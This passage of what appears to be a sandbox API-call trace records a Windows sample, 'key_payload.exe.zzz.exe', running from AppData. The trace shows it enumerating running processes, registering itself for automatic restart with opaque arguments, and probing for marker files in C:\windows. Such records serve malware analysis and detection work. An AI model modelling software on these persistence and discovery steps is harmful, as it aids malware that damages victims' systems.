lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="homes.exe") returned 0x9 [0227.924] CloseHandle (hObject=0x230) returned 1 [0227.924] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b4) returned 0x230 [0227.924] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.924] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xbf0000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="tu-admit.exe") returned 0xc [0227.924] CloseHandle (hObject=0x230) returned 1 [0227.924] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x908) returned 0x230 [0227.925] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.926] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x910000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="asin.exe") returned 0x8 [0227.926] CloseHandle (hObject=0x230) returned 1 [0227.926] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x230 [0227.926] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.926] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x170000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="flickr debate gs.exe") returned 0x14 [0227.927] CloseHandle (hObject=0x230) returned 1 [0227.927] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd4) returned 0x230 [0227.927] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.927] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xa20000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="seafoodoptwherever.exe") returned 0x16 [0227.927] CloseHandle (hObject=0x230) returned 1 [0227.927] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa24) returned 0x230 [0227.928] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.928] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xb80000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="hayes.exe") returned 0x9 [0227.928] CloseHandle (hObject=0x230) returned 1 [0227.928] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0x230 [0227.928] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.929] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xdf0000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="definitionselectionsea.exe") returned 0x1a [0227.929] CloseHandle (hObject=0x230) returned 1 [0227.929] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb30) returned 0x230 [0227.929] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.930] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x930000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="containers-reprint-true.exe") returned 0x1b [0227.930] CloseHandle (hObject=0x230) returned 1 [0227.930] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x230 [0227.930] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.931] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xb0000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="containingbarryslovenia.exe") returned 0x1b [0227.931] CloseHandle (hObject=0x230) returned 1 [0227.931] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab0) returned 0x230 [0227.931] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.932] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xef0000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="jones weekend fundamental.exe") returned 0x1d [0227.932] CloseHandle (hObject=0x230) returned 1 [0227.932] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0x230 [0227.933] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.933] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xc30000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="requesting.exe") returned 0xe [0227.933] CloseHandle (hObject=0x230) returned 1 [0227.933] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d8) returned 0x230 [0227.933] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.934] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xda0000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="walls flashing hull.exe") returned 0x17 [0227.935] CloseHandle (hObject=0x230) returned 1 [0227.935] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x0 [0227.935] CloseHandle (hObject=0x0) returned 0 [0227.935] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x230 [0227.935] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.936] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0227.936] CloseHandle (hObject=0x230) returned 1 [0227.936] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x230 [0227.936] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 0 [0227.937] CloseHandle (hObject=0x230) returned 1 [0227.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd4c) returned 0x0 [0227.937] CloseHandle (hObject=0x0) returned 0 [0227.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa2c) returned 0x230 [0227.937] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 0 [0227.937] CloseHandle (hObject=0x230) returned 1 [0227.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0x0 [0227.937] CloseHandle (hObject=0x0) returned 0 [0227.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x268) returned 0x230 [0227.937] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.937] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0227.937] CloseHandle (hObject=0x230) returned 1 [0227.938] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc0c) returned 0x230 [0227.938] EnumProcessModules (in: hProcess=0x230, lphModule=0xc34134, cb=0x4, lpcbNeeded=0xc34138 | out: lphModule=0xc34134, lpcbNeeded=0xc34138) returned 1 [0227.939] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0xc3e144, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0227.939] CloseHandle (hObject=0x230) returned 1 [0227.939] GetLastError () returned 0x6 [0227.939] SetLastError (dwErrCode=0x6) [0227.939] SetLastError (dwErrCode=0x6) [0227.939] GetLastError () returned 0x6 [0227.939] SetLastError (dwErrCode=0x6) [0227.939] InitCommonControlsEx (picce=0xc3ef04) returned 1 [0227.940] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0xc3e70c, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0227.940] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0227.940] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.940] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadPreferredUILanguages") returned 0x751495e0 [0227.940] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xc3e5e0, pwszLanguagesBuffer=0xc3e5f0, pcchLanguagesBuffer=0xc3e5e4 | out: pulNumLanguages=0xc3e5e0, pwszLanguagesBuffer=0xc3e5f0, pcchLanguagesBuffer=0xc3e5e4) returned 1 [0227.940] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.941] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0227.941] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3, lpLCData=0xc3e594, cchData=4 | out: lpLCData="ENU") returned 4 [0227.941] GetLastError () returned 0x0 [0227.941] SetLastError (dwErrCode=0x0) [0227.941] GetLastError () returned 0x0 [0227.941] SetLastError (dwErrCode=0x0) [0227.941] GetLastError () returned 0x0 [0227.941] SetLastError (dwErrCode=0x0) [0227.941] GetLastError () returned 0x0 [0227.941] SetLastError (dwErrCode=0x0) [0227.941] GetLastError () returned 0x0 [0227.941] SetLastError (dwErrCode=0x0) [0227.941] GetLastError () returned 0x0 [0227.941] SetLastError (dwErrCode=0x0) [0227.941] GetLastError () returned 0x0 [0227.941] SetLastError (dwErrCode=0x0) [0227.941] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0227.941] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0227.941] GetLocaleInfoEx (in: lpLocaleName="en", LCType=0x3, lpLCData=0xc3e594, cchData=4 | out: lpLCData="ENU") returned 4 [0227.941] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0227.942] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] GetLastError () returned 0x2 [0227.942] SetLastError (dwErrCode=0x2) [0227.942] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0227.942] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0227.942] CoCreateGuid (in: pguid=0xc3e904 | out: pguid=0xc3e904*(Data1=0x5c2a43e3, Data2=0xd475, Data3=0x4c90, Data4=([0]=0xa1, [1]=0xe9, [2]=0x40, [3]=0xc8, [4]=0xfb, [5]=0x46, [6]=0x1d, [7]=0x47))) returned 0x0 [0227.943] GetLastError () returned 0x2 [0227.943] SetLastError (dwErrCode=0x2) [0227.943] GetLastError () returned 0x2 [0227.943] SetLastError (dwErrCode=0x2) [0227.943] SetLastError (dwErrCode=0x2) [0227.943] GetLastError () returned 0x2 [0227.943] SetLastError (dwErrCode=0x2) [0227.943] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.943] GetProcAddress (hModule=0x75130000, lpProcName="RegisterApplicationRestart") returned 0x75152250 [0227.943] RegisterApplicationRestart (pwzCommandline="--ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0 /RestartByRestartManager:5C2A43E3-D475-4c90-A1E9-40C8FB461D47", dwFlags=0x0) returned 0x0 [0227.944] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0xd77958 [0227.944] SHGetMalloc (in: ppMalloc=0xd7c64c | out: ppMalloc=0xd7c64c*=0x750f5ee0) returned 0x0 [0227.944] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0227.944] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0227.944] VerifyVersionInfoW (in: lpVersionInformation=0xc3e81c, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0xc3e81c) returned 1 [0227.944] GetSystemMetrics (nIndex=4096) returned 0 [0227.944] GetSysColor (nIndex=22) returned 0xe3e3e3 [0227.944] GetSysColor (nIndex=21) returned 0x696969 [0227.944] GetWindowDC (hWnd=0x0) returned 0x3010738 [0227.944] GetDeviceCaps (hdc=0x3010738, index=12) returned 32 [0227.944] GetSysColor (nIndex=15) returned 0xf0f0f0 [0227.944] GetSysColor (nIndex=16) returned 0xa0a0a0 [0227.944] GetSysColor (nIndex=21) returned 0x696969 [0227.944] GetSysColor (nIndex=22) returned 0xe3e3e3 [0227.944] GetSysColor (nIndex=20) returned 0xffffff [0227.944] GetSysColor (nIndex=18) returned 0x0 [0227.944] GetSysColor (nIndex=17) returned 0x6d6d6d [0227.944] GetSysColor (nIndex=6) returned 0x646464 [0227.944] GetSysColor (nIndex=13) returned 0xff9933 [0227.944] GetSysColor (nIndex=14) returned 0xffffff [0227.944] GetSysColor (nIndex=5) returned 0xffffff [0227.944] GetSysColor (nIndex=8) returned 0x0 [0227.944] GetSysColor (nIndex=9) returned 0x0 [0227.944] GetSysColor (nIndex=7) returned 0x0 [0227.944] GetSysColor (nIndex=2) returned 0xd1b499 [0227.944] GetSysColor (nIndex=3) returned 0xdbcdbf [0227.944] GetSysColor (nIndex=27) returned 0xead1b9 [0227.944] GetSysColor (nIndex=28) returned 0xf2e4d7 [0227.944] GetSysColor (nIndex=10) returned 0xb4b4b4 [0227.944] GetSysColor (nIndex=11) returned 0xfcf7f4 [0227.944] GetSysColor (nIndex=19) returned 0x0 [0227.944] GetSysColor (nIndex=26) returned 0xcc6600 [0227.945] GetSysColorBrush (nIndex=16) returned 0x1100075 [0227.945] GetSysColorBrush (nIndex=20) returned 0x1100076 [0227.945] GetSysColorBrush (nIndex=5) returned 0x110007b [0227.945] DeleteObject (ho=0x6410054c) returned 1 [0227.945] CreateSolidBrush (color=0xf0f0f0) returned 0x1100753 [0227.945] DeleteObject (ho=0x13100546) returned 1 [0227.945] CreateSolidBrush (color=0xf0f0f0) returned 0x6510054c [0227.945] DeleteObject (ho=0x3e1001bf) returned 1 [0227.945] CreateSolidBrush (color=0xd1b499) returned 0x1100754 [0227.945] DeleteObject (ho=0xf1001b1) returned 1 [0227.945] CreateSolidBrush (color=0xdbcdbf) returned 0x14100546 [0227.945] DeleteObject (ho=0x491006c0) returned 1 [0227.945] CreateSolidBrush (color=0xff9933) returned 0x3f1001bf [0227.945] DeleteObject (ho=0x3a10068b) returned 1 [0227.945] CreateSolidBrush (color=0x696969) returned 0x1100755 [0227.945] DeleteObject (ho=0x1910071b) returned 1 [0227.945] CreateSolidBrush (color=0xffffff) returned 0x101001b1 [0227.945] DeleteObject (ho=0xb300729) returned 1 [0227.945] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0xc300729 [0227.945] DeleteObject (ho=0x12300737) returned 1 [0227.945] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x13300737 [0227.945] DeleteObject (ho=0xf300735) returned 1 [0227.945] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x10300735 [0227.945] DeleteObject (ho=0x5a1006b7) returned 1 [0227.945] CreateSolidBrush (color=0xf7f7f7) returned 0x1a10071b [0227.945] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0227.945] GetWindowDC (hWnd=0x0) returned 0x3010738 [0227.945] GetDeviceCaps (hdc=0x3010738, index=88) returned 96 [0227.945] DeleteObject (ho=0x730a0564) returned 1 [0227.945] DeleteObject (ho=0x6d0a05ec) returned 1 [0227.945] DeleteObject (ho=0x560a0707) returned 1 [0227.946] DeleteObject (ho=0x4c0a06be) returned 1 [0227.946] DeleteObject (ho=0xa20a056a) returned 1 [0227.946] DeleteObject (ho=0x3c0a0725) returned 1 [0227.946] DeleteObject (ho=0x200a072f) returned 1 [0227.946] DeleteObject (ho=0x140a0730) returned 1 [0227.946] DeleteObject (ho=0x180a056e) returned 1 [0227.946] DeleteObject (ho=0x500a069e) returned 1 [0227.946] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xc3e5a4, fWinIni=0x0 | out: pvParam=0xc3e5a4) returned 1 [0227.946] GetTextCharsetInfo (in: hdc=0x3010738, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0227.946] lstrcpyW (in: lpString1=0xc3e7b8, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0227.946] EnumFontFamiliesW (hdc=0x3010738, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0229.170] lstrcpyW (in: lpString1=0xc3e7b8, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0229.170] CreateFontIndirectW (lplf=0xc3e79c) returned 0x260a054d [0229.170] CreateFontIndirectW (lplf=0xc3e79c) returned 0x70a0733 [0229.170] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xc3e3ac, fWinIni=0x0 | out: pvParam=0xc3e3ac) returned 1 [0229.170] CreateFontIndirectW (lplf=0xc3e79c) returned 0x410a06b0 [0229.171] CreateFontIndirectW (lplf=0xc3e79c) returned 0x510a069e [0229.171] CreateFontIndirectW (lplf=0xc3e79c) returned 0x190a056e [0229.171] GetSystemMetrics (nIndex=72) returned 15 [0229.171] lstrcpyW (in: lpString1=0xc3e7b8, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0229.171] CreateFontIndirectW (lplf=0xc3e79c) returned 0x150a0730 [0229.171] GetStockObject (i=17) returned 0x18a0025 [0229.171] GetObjectW (in: h=0x18a0025, c=92, pv=0xc3e79c | out: pv=0xc3e79c) returned 92 [0229.171] lstrcpyW (in: lpString1=0xc3e7b8, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0229.171] CreateFontIndirectW (lplf=0xc3e79c) returned 0x210a072f [0229.171] CreateFontIndirectW (lplf=0xc3e79c) returned 0x3d0a0725 [0229.171] GetStockObject (i=17) returned 0x18a0025 [0229.171] GetObjectW (in: h=0x18a0025, c=92, pv=0xc3e79c | out: pv=0xc3e79c) returned 92 [0229.171] CreateFontIndirectW (lplf=0xc3e79c) returned 0xa30a056a [0229.171] CreateFontIndirectW (lplf=0xc3e79c) returned 0x4d0a06be [0229.171] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0229.171] SelectObject (hdc=0xa0100d0, h=0x260a054d) returned 0x18a0048 [0229.171] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0xc3e320 | out: lptm=0xc3e320) returned 1 [0229.171] SelectObject (hdc=0xa0100d0, h=0x210a072f) returned 0x260a054d [0229.171] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0xc3e320 | out: lptm=0xc3e320) returned 1 [0229.171] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x210a072f [0229.171] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0229.171] DeleteObject (ho=0x18a0025) returned 1 [0229.172] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0229.172] GetSystemMetrics (nIndex=49) returned 16 [0229.172] GetSystemMetrics (nIndex=50) returned 16 [0229.172] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0229.172] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0229.172] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xc3e738 | out: lpmi=0xc3e738) returned 1 [0229.172] CopyRect (in: lprcDst=0xc3e760, lprcSrc=0xc3e74c | out: lprcDst=0xc3e760) returned 1 [0229.172] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0229.172] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0229.172] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0229.172] GetSysColor (nIndex=22) returned 0xe3e3e3 [0229.172] GetSysColor (nIndex=21) returned 0x696969 [0229.172] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0229.172] GetDeviceCaps (hdc=0xa0100d0, index=12) returned 32 [0229.172] GetSysColor (nIndex=15) returned 0xf0f0f0 [0229.172] GetSysColor (nIndex=16) returned 0xa0a0a0 [0229.172] GetSysColor (nIndex=21) returned 0x696969 [0229.172] GetSysColor (nIndex=22) returned 0xe3e3e3 [0229.172] GetSysColor (nIndex=20) returned 0xffffff [0229.172] GetSysColor (nIndex=18) returned 0x0 [0229.172] GetSysColor (nIndex=17) returned 0x6d6d6d [0229.172] GetSysColor (nIndex=6) returned 0x646464 [0229.172] GetSysColor (nIndex=13) returned 0xff9933 [0229.172] GetSysColor (nIndex=14) returned 0xffffff [0229.172] GetSysColor (nIndex=5) returned 0xffffff [0229.172] GetSysColor (nIndex=8) returned 0x0 [0229.172] GetSysColor (nIndex=9) returned 0x0 [0229.172] GetSysColor (nIndex=7) returned 0x0 [0229.172] GetSysColor (nIndex=2) returned 0xd1b499 [0229.172] GetSysColor (nIndex=3) returned 0xdbcdbf [0229.172] GetSysColor (nIndex=27) returned 0xead1b9 [0229.172] GetSysColor (nIndex=28) returned 0xf2e4d7 [0229.172] GetSysColor (nIndex=10) returned 0xb4b4b4 [0229.172] GetSysColor (nIndex=11) returned 0xfcf7f4 [0229.172] GetSysColor (nIndex=19) returned 0x0 [0229.172] GetSysColor (nIndex=26) returned 0xcc6600 [0229.172] GetSysColorBrush (nIndex=16) returned 0x1100075 [0229.172] GetSysColorBrush (nIndex=20) returned 0x1100076 [0229.172] GetSysColorBrush (nIndex=5) returned 0x110007b [0229.172] DeleteObject (ho=0x1100753) returned 1 [0229.172] CreateSolidBrush (color=0xf0f0f0) returned 0x5b1006b7 [0229.172] DeleteObject (ho=0x6510054c) returned 1 [0229.173] CreateSolidBrush (color=0xf0f0f0) returned 0x4a1006c0 [0229.173] DeleteObject (ho=0x1100754) returned 1 [0229.173] CreateSolidBrush (color=0xd1b499) returned 0x3b10068b [0229.173] DeleteObject (ho=0x14100546) returned 1 [0229.173] CreateSolidBrush (color=0xdbcdbf) returned 0x58100707 [0229.173] DeleteObject (ho=0x3f1001bf) returned 1 [0229.173] CreateSolidBrush (color=0xff9933) returned 0x2100753 [0229.173] DeleteObject (ho=0x1100755) returned 1 [0229.173] CreateSolidBrush (color=0x696969) returned 0x6610054c [0229.173] DeleteObject (ho=0x101001b1) returned 1 [0229.173] CreateSolidBrush (color=0xffffff) returned 0x2100754 [0229.173] DeleteObject (ho=0xc300729) returned 1 [0229.173] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0xd300729 [0229.173] DeleteObject (ho=0x13300737) returned 1 [0229.173] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x14300737 [0229.173] DeleteObject (ho=0x10300735) returned 1 [0229.173] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x11300735 [0229.173] DeleteObject (ho=0x1a10071b) returned 1 [0229.173] CreateSolidBrush (color=0xf7f7f7) returned 0x401001bf [0229.173] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0229.173] GetActiveWindow () returned 0x0 [0229.174] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd85cc0, nSize=0x400 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0229.174] PathRemoveFileSpecW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0229.174] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0229.174] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --ForNetRes x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0", pNumArgs=0xc3e940 | out: pNumArgs=0xc3e940) returned 0xd85308*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0229.174] GetCurrentPackageId () returned 0x3d54 [0229.174] AreFileApisANSI () returned 1 [0229.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0229.174] CreateFileW (lpFileName="C:\\windows\\123.txtt" (normalized: "c:\\windows\\123.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.174] GetLastError () returned 0x2 [0229.174] GetLastError () returned 0x2 [0229.174] SetLastError (dwErrCode=0x2) [0229.174] GetLastError () returned 0x2 [0229.174] SetLastError (dwErrCode=0x2) [0229.174] GetLastError () returned 0x2 [0229.174] SetLastError (dwErrCode=0x2) [0229.174] AreFileApisANSI () returned 1 [0229.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f94, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0229.174] CreateFileW (lpFileName="C:\\windows\\12322.txtt" (normalized: "c:\\windows\\12322.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc3e574, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0229.175] GetLastError () returned 0x2 [0229.175] GetLastError () returned 0x2 [0229.175] SetLastError (dwErrCode=0x2) [0229.175] GetLastError () returned 0x2 [0229.175] SetLastError (dwErrCode=0x2) [0229.175] GetLastError () returned 0x2 [0229.175] SetLastError (dwErrCode=0x2) [0229.175] AreFileApisANSI () returned 1 [0229.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: 